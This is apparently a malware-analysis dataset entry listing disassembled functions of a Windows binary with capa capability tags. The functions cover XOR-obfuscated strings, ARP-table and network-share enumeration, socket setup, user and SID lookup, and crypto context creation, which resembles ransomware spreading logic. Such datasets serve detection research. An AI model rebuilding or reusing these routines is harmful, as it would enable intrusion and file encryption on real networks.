joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406aef
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 7
jb 0x406af1
mov byte [ecx + 7], 0
mov eax, ecx
ret

Function at 0x406b02
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xb
jb 0x406b04
mov byte [ecx + 0xb], 0
mov eax, ecx
ret

Function at 0x406b15
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xf
jb 0x406b17
mov byte [ecx + 0xf], 0
mov eax, ecx
ret

Function at 0x406bdd
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x406c46
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x4132d4
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x406c46
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x406c46
inc eax
jmp 0x406c48
xor eax, eax
pop esi
leave
ret
Function at 0x406c4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 8]
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push ebx
push eax
push ebx
mov dword [ebp - 8], ebx
call esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x406dfb
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x406dfb
push ebx
lea eax, [ebp - 8]
push eax
push edi
call esi
test eax, eax
jne 0x406df0
mov dword [ebp - 0x14], ebx
cmp dword [edi], ebx
jbe 0x406ded
lea eax, [edi + 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [eax]
lea eax, [ebp - 0x6c]
push 0x2c
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x406cb3
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x31], 0x7b676264
mov ecx, ebx
mov byte [ebp - 0x2d], bl
xor byte [ebp + ecx - 0x31], 0x55
inc ecx
cmp ecx, 4
jb 0x406cd6
lea eax, [ebp - 0x31]
mov byte [ebp - 0x2d], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x3f], 0x7b676c64
mov dword [ebp - 0x3b], 0x7b6d6364
mov byte [ebp - 0x37], bl
xor byte [ebp + eax - 0x3f], 0x55
inc eax
cmp eax, 8
jb 0x406d05
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x37], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 4], 0x7b6564
xor byte [ebp + ecx - 4], 0x55
inc ecx
cmp ecx, 3
jb 0x406d2a
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x24], eax
mov ecx, ebx
mov dword [ebp - 0x36], 0x7b6c6364
mov byte [ebp - 0x32], bl
xor byte [ebp + ecx - 0x36], 0x55
inc ecx
cmp ecx, 4
jb 0x406d52
lea eax, [ebp - 0x36]
mov byte [ebp - 0x32], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x1c], esi
je 0x406d7e
cmp dword [ebp - 0x20], esi
je 0x406d7e
cmp dword [ebp - 0x24], esi
je 0x406d7e
cmp eax, esi
jne 0x406dd5
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
jmp 0x406d9c
movzx eax, word [ecx]
lea edx, [ebp - 0x28]
cmp ax, word [edx]
jne 0x406d99
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x406dd5
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x406d85
mov eax, dword [ebp - 0x2c]
push 0xc
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0xd], bl
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x406ded
mov eax, dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc edx
add eax, 0x18
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
cmp edx, dword [edi]
jb 0x406ca5
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.00406bcd
mov eax, ebx
jmp 0x406dfd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406e02
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 1
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
and dword [ebp - 4], esi
and dword [ebp - 0x28], esi
push ebx
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x1c], 6
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x406eb1
push esi
push esi
push dword [ebp - 8]
push edi
push 0xffffffffffffffff
push ebx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x406eb1
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x406eb1
push 0x2e
pop ecx
mov dword [ebp - 8], 0x17
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x406eb1
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ecx + 0x10]
push dword [ecx + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringW]
test eax, eax
je 0x406eb1
mov ecx, esi
call fcn.00406bcd
mov esi, ebx
cmp dword [ebp - 4], 0
je 0x406ec0
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x406ecb
mov ecx, edi
call fcn.00406bcd
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x406ff3
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [0x4132dc]
test edi, edi
jne 0x40700b
xor eax, eax
jmp 0x4070fd
mov eax, dword [edi]
push ebx
push esi
mov dword [ebp - 4], eax
xor bl, bl
push 0x28
push 0x40
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4070d5
mov eax, dword [ebp - 4]
push 2
mov dword [esi + 0x18], eax
pop eax
push 1
push 0
push 0
push 6
push 1
push eax
mov byte [esi + 0x1c], al
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x407059
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4070ca
push 0x10
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x40705f
push 2
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
and dword [ebp - 0x10], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x407096
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407050
push 0
push 2
pop eax
push eax
push dword [0x4132d8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x40708b
lea ecx, [esi + 0x20]
and dword [ecx], 0
mov eax, dword [0x41329c]
mov dword [esi + 0x24], eax
mov eax, dword [0x41329c]
mov dword [eax], esi
mov dword [0x41329c], ecx
inc bl
cmp bl, 0xff
jb 0x407014
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x4070e4
mov dword [ecx + 8], eax
jmp 0x4070e9
mov dword [0x4132e0], eax
mov esi, dword [edi + 8]
mov ecx, edi
mov edx, dword [edi + 4]
mov dword [esi], edx
call fcn.00406bcd
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x4073f4
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x41350c], 0
push ebx
push esi
push edi
jne 0x40752d
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], 0x4000
push 0x13
push ebx
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x40752d
mov ecx, dword [ebp - 8]
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x407524
jmp 0x407503
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
jbe 0x407503
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x4074b6
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x407482
mov eax, dword [esi]
push 0x4132f8
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4074f0
mov ecx, dword [esi]
add ecx, 4
call fcn.00406e02
mov ebx, eax
test ebx, ebx
je 0x4074a2
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00406bcd
mov ecx, dword [esi]
call fcn.00407614
lea eax, [esi - 0x14]
push eax
call fcn.004073f4
xor ebx, ebx
jmp 0x4074f0
mov edx, dword [esi]
mov ecx, dword [0x413514]
push 1
push ebx
push 4
call fcn.00407dea
add esp, 0xc
test eax, eax
je 0x4074f0
mov dword [ebp + 8], 0x555565
mov eax, ebx
xor byte [ebp + eax + 8], 0x55
inc eax
cmp eax, 3
jb 0x4074d8
mov edx, dword [esi]
lea ecx, [ebp + 8]
mov byte [ebp + 0xb], bl
call fcn.0040d3a2
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x407458
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x407448
mov ecx, edi
call fcn.00406bcd
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x407614
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x14], ebx
mov edi, 0x4132bc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x407671
cmp esi, 0xea
je 0x407635
jmp 0x4077e3
mov esi, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
jb 0x4077dc
mov eax, dword [esi + 4]
test eax, eax
je 0x407699
cmp eax, 0x80000000
je 0x407699
cmp eax, 0x40000000
jne 0x4077cc
mov dword [ebp - 0x36], 0x55115514
xor eax, eax
mov dword [ebp - 0x32], 0x551c5518
mov dword [ebp - 0x2e], 0x5571551b
mov word [ebp - 0x2a], 0x55
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0xd
jb 0x4076b6
lea eax, [ebp - 0x36]
mov byte [ebp - 0x29], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4077cc
mov ecx, 0x10000
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x4077cc
push 0x4018e0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x22], 0x55095509
xor eax, eax
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 5
jb 0x407708
push 2
lea eax, [ebp - 0x22]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x407753
mov dword [ebp - 0x28], 0x55095509
xor eax, eax
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x28], 0x55
inc eax
cmp eax, 5
jb 0x407739
lea eax, [ebp - 0x28]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 4], 0x555509
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x407766
lea eax, [ebp - 4]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x413514]
mov edx, edi
push 1
push 0
push 4
call fcn.00407dea
add esp, 0xc
test eax, eax
je 0x4077c5
mov dword [ebp - 8], 0x555565
xor eax, eax
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 3
jb 0x4077ac
mov edx, edi
mov byte [ebp - 5], 0
lea ecx, [ebp - 8]
call fcn.0040d3a2
mov ecx, edi
call fcn.00406bcd
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc]
jbe 0x407680
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4077fa
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f4], 0
jne 0x407829
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d2da
xor eax, eax
push eax
push eax
push eax
push fcn.004073f4
push eax
push eax
mov dword [0x41350c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132f4], eax
ret
Function at 0x40782a
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f0], 0
jne 0x407851
test ecx, ecx
je 0x40784a
xor eax, eax
push eax
push eax
push eax
push fcn.00407536
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.00407536
ret

Function at 0x407852
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x413510], 0
jne 0x4079bc
cmp dword [0x4132a0], 0
jne 0x4079bc
cmp dword [0x4132d8], 0
jne 0x4079bc
push ebx
xor ebx, ebx
push esi
mov dword [0x413508], ebx
call fcn.00406bdd
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407975
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x4078c8
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x4132ec], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4132d8], eax
test eax, eax
je 0x407990
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x4132dc
mov dword [0x4132dc], ebx
mov dword [0x4132e0], ecx
mov dword [0x4132e4], ebx
mov dword [0x4132e8], 0x4132e4
mov dword [0x413298], ebx
mov dword [0x41329c], 0x413298
call fcn.00406c4b
test eax, eax
je 0x407975
push ebx
push ebx
push ebx
push 0x406ed2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132a0], eax
cmp eax, 0xffffffff
je 0x407975
push ebx
push ebx
push ebx
push 0x40719c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413510], eax
cmp eax, 0xffffffff
je 0x407975
push ebx
push 1
push ebx
push dword [0x4132d8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.0040d2da
jmp 0x4079ba
cmp dword [0x4132d8], ebx
je 0x407990
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x4132d8]
call esi
mov eax, dword [0x4132a0]
test eax, eax
je 0x40799c
push eax
call esi
mov eax, dword [0x413510]
test eax, eax
je 0x4079a8
push eax
call esi
mov dword [0x413510], ebx
mov dword [0x4132a0], ebx
mov dword [0x4132d8], ebx
pop esi
pop ebx
leave
ret

Function at 0x4079e6
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x4132d8]
test eax, eax
je 0x4079fc
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.004079be

Function at 0x407a0f
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xd
jb 0x407a11
mov byte [ecx + 0xd], 0
mov eax, ecx
ret
Function at 0x407a96
Capabilities:
Encode data using xor
Get hostname
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa64
movaps xmm0, xmmword [0x401bc0]
movups xmmword [ebp - 0x46], xmm0
push ebx
movaps xmm0, xmmword [0x401a80]
xor ebx, ebx
movups xmmword [ebp - 0x36], xmm0
mov eax, ebx
mov word [ebp - 0x16], 0x55
movaps xmm0, xmmword [0x401d30]
push esi
push edi
movups xmmword [ebp - 0x26], xmm0
xor byte [ebp + eax - 0x46], 0x55
inc eax
cmp eax, 0x31
jb 0x407acd
xor esi, esi
mov byte [ebp - 0x15], bl
inc esi
lea ecx, [ebp - 0x46]
mov edx, esi
call fcn.00407a22
test eax, eax
je 0x407c4b
lea eax, [ebp - 8]
mov edi, 0x100
push eax
lea eax, [ebp - 0x860]
mov dword [ebp - 8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x407c4b
mov dword [ebp - 4], 0x555509
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x407b1a
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [ebp - 0x860]
lea eax, [ecx + eax*2]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x407c4b
mov ecx, edi
call fcn.00406b28
mov dword [0x413530], eax
test eax, eax
je 0x407c4b
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push ecx
lea ecx, [ebp - 0xa60]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x407c36
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x407c36
push ebx
push ebx
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x407c36
push ebx
push dword [0x413530]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x407c36
push 0x20
pop ecx
mov eax, 0x413534
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x407be6
push dword [0x413530]
push 0x413540
call dword [sym.imp.ADVAPI32.dll_BuildTrusteeWithSidW]
push 0x413518
mov dword [0x413534], 0x10000000
mov dword [0x413538], 2
mov dword [0x41353c], 3
mov dword [0x413548], ebx
mov dword [0x41354c], esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x407c4b
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407c4b
call fcn.00406bcd
mov dword [0x413530], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movaps xmm0, xmmword [0x401bc0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401a80]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401d30]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x407c7f
xor edx, edx
mov byte [ebp - 1], 0
lea ecx, [ebp - 0x32]
call fcn.00407a22
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407cb9
call fcn.00406bcd
and dword [0x413530], 0
push 0x413518
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
leave
ret

Function at 0x407ede
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [0x413778]
push esi
push edi
push ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebx + 0x18]
xor edi, edi
mov dword [ebp - 4], edi
test esi, esi
je 0x408017
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0xc], 0x556b5578
xor eax, eax
mov word [ebp - 8], 0x55
xor byte [ebp + eax - 0xc], 0x55
inc eax
cmp eax, 5
jb 0x407f1c
lea eax, [ebp - 0xc]
mov byte [ebp - 7], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x407f46
xor edi, edi
inc edi
mov dword [ebp - 4], edi
jmp 0x408009
cmp dword [esi + 8], 0
jne 0x408006
mov eax, dword [ebp + 8]
test dword [esi + 4], eax
je 0x408006
push 0x20
pop ecx
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x408006
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0xa]
call fcn.00406b28
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x407fff
mov eax, dword [esi]
cmp word [eax + 2], 0x3a
jne 0x407fbd
mov dword [ebp - 0x1a], 0x55095509
xor eax, eax
mov dword [ebp - 0x16], 0x5509556a
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 9
jb 0x407fa9
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1a]
jmp 0x407fc2
mov eax, 0x4018e0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [edi + 0x18]
and dword [ecx], 0
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x1c]
push ebx
mov dword [eax], edi
mov dword [ebx + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [esi + 8], 1
jmp 0x408006
mov ecx, edi
call fcn.00406bcd
mov edi, dword [ebp - 4]
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x407f0d
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4080bc
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x401a30]
movups xmmword [ebp - 0x36], xmm0
push ebx
movaps xmm0, xmmword [0x4019e0]
xor ebx, ebx
movups xmmword [ebp - 0x26], xmm0
mov eax, ebx
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x401a50]
push esi
movups xmmword [ebp - 0x16], xmm0
mov word [ebp - 2], 0x27
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x4080f6
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x36]
push 0xf0000000
push 0x18
push eax
push ebx
push 0x413558
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x408236
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 2], 0x27
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x16], xmm0
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x408155
push 0xf0000008
push 0x18
lea eax, [ebp - 0x36]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x408236
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x4081b2
push 0xf0000000
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x408236
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x40820b
push 0xf0000008
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
neg eax
sbb eax, eax
and dword [0x413558], eax
pop esi
pop ebx
leave
ret